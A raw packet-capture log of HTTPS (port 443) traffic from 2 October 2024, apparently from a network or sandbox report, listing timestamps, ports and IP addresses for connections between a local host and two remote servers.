Oct 2, 2024 06:10:17.697360992 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.697402000 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.697410107 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.697433949 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.697452068 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.699951887 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.699975014 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.700018883 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.700026035 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.700057030 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.700067043 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.700202942 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.700218916 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.700263023 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.700270891 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.700288057 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.700309038 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.701662064 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.709726095 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.709755898 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.709791899 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.709799051 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.709826946 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.709844112 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.710011959 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.710027933 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.710066080 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.710072994 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.710094929 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.710110903 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.717602968 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.717622042 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.717683077 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.717690945 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.717730999 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.784704924 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.784729958 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.784807920 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.784821987 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.784859896 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.784900904 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.784918070 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.784957886 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.784965992 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.784995079 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.785656929 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.808584929 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.808608055 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.808706045 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.808716059 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.808767080 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.808785915 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.808825970 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.808834076 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.808849096 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.808875084 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.809077978 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.809092045 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.809132099 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.809138060 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.809148073 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.809149027 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.809170961 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.809185982 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.809191942 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.809218884 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.809243917 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.809573889 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.809587955 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.809633970 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.809643030 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.809859037 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.809876919 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.809906960 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.809916019 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.809931040 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.809954882 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.818396091 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.836313963 CEST	443	49716	20.12.23.50	192.168.2.5
Oct 2, 2024 06:10:17.836337090 CEST	443	49716	20.12.23.50	192.168.2.5
Oct 2, 2024 06:10:17.836352110 CEST	443	49716	20.12.23.50	192.168.2.5
Oct 2, 2024 06:10:17.836363077 CEST	443	49716	20.12.23.50	192.168.2.5
Oct 2, 2024 06:10:17.836395025 CEST	443	49716	20.12.23.50	192.168.2.5
Oct 2, 2024 06:10:17.836405039 CEST	49716	443	192.168.2.5	20.12.23.50
Oct 2, 2024 06:10:17.836421013 CEST	443	49716	20.12.23.50	192.168.2.5
Oct 2, 2024 06:10:17.836448908 CEST	49716	443	192.168.2.5	20.12.23.50
Oct 2, 2024 06:10:17.836510897 CEST	49716	443	192.168.2.5	20.12.23.50
Oct 2, 2024 06:10:17.837174892 CEST	443	49716	20.12.23.50	192.168.2.5
Oct 2, 2024 06:10:17.837240934 CEST	49716	443	192.168.2.5	20.12.23.50
Oct 2, 2024 06:10:17.837246895 CEST	443	49716	20.12.23.50	192.168.2.5
Oct 2, 2024 06:10:17.837368011 CEST	443	49716	20.12.23.50	192.168.2.5
Oct 2, 2024 06:10:17.837441921 CEST	49716	443	192.168.2.5	20.12.23.50
Oct 2, 2024 06:10:17.873320103 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.873344898 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.873425961 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.873442888 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.873465061 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.873486042 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.873524904 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.873534918 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.873552084 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.873581886 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.896972895 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.896995068 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.897056103 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.897069931 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.897083998 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.897135973 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.897284031 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.897300005 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.897350073 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.897356033 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.897387981 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.897397041 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.897475004 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.897491932 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.897542000 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.897547960 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.897581100 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.897591114 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.897855997 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.897874117 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.897912979 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.897921085 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.897943020 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.897993088 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.898072004 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.898088932 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.898133993 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.898139954 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.898192883 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.898271084 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.898286104 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.898335934 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.898343086 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.898355007 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.898386002 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.961786032 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.961810112 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.961889029 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.961898088 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.961910963 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.961940050 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.962069988 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.962109089 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.962136984 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.962143898 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.962166071 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.962179899 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.985709906 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.985744953 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.985819101 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.985830069 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.985871077 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.985939026 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.985984087 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.986000061 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.986006021 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.986035109 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.986054897 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.986073017 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.986099958 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.986131907 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.986138105 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.986172915 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.986182928 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.986269951 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.986293077 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.986330032 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.986336946 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.986355066 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.986378908 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.986571074 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.986592054 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.986627102 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.986634016 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.986660957 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.986684084 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.986885071 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.986911058 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.986943007 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.986948967 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.986975908 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.986987114 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.000993967 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.050420046 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.050443888 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.050519943 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.050523043 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.050523043 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.050544977 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.050575972 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.050611973 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.074419975 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.074446917 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.074492931 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.074503899 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.074532032 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.074541092 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.074554920 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.074587107 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.074601889 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.074616909 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.074959040 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.074976921 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.075020075 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.075026989 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.075037956 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.075038910 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.075077057 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.075089931 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.075097084 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.075125933 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.075171947 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.075191021 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.075222969 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.075229883 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.075243950 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.075604916 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.075633049 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.075659990 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.075666904 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.075690985 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.116950989 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.139213085 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.139238119 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.139314890 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.139338017 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.139365911 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.139398098 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.139440060 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.139467001 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.139489889 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.139524937 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.162683010 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.162713051 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.163096905 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.163141966 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.163242102 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.163259983 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.163882971 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.163923025 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.163970947 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.163990974 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.164007902 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.164028883 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.164040089 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.164079905 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.164089918 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.164099932 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.164112091 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.164122105 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.164160967 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.164176941 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.164411068 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.227775097 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.227796078 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.227905989 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.227931976 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.227982044 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.228015900 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.228033066 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.228104115 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.228112936 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.228193998 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.251213074 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.251229048 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.251301050 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.251319885 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.251403093 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.251591921 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.251617908 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.251681089 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.251693964 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.251749992 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.251775026 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.251777887 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.251795053 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.251811028 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.251852989 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.252007008 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.252023935 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.252088070 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.252115011 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.252264023 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.252372026 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.252388000 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.252434969 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.252448082 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.252475977 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.252496004 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.252588987 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.252604008 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.252667904 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.252681017 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.252878904 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.316456079 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.316473961 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.316528082 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.316545010 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.316664934 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.339592934 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.339607954 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.339675903 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.339693069 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.339767933 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.339930058 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.339945078 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.339998960 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.340014935 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.340044022 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.340060949 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.340286970 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.340301991 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.340341091 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.340353966 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.340379000 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.340399027 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.340449095 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.340473890 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.340508938 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.340526104 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.340557098 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.340574980 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.340840101 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.340854883 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.340919018 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.340931892 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.340995073 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.341016054 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.341031075 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.341074944 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.341085911 CEST	443	49715	167.114.14.168	192.168.2.5
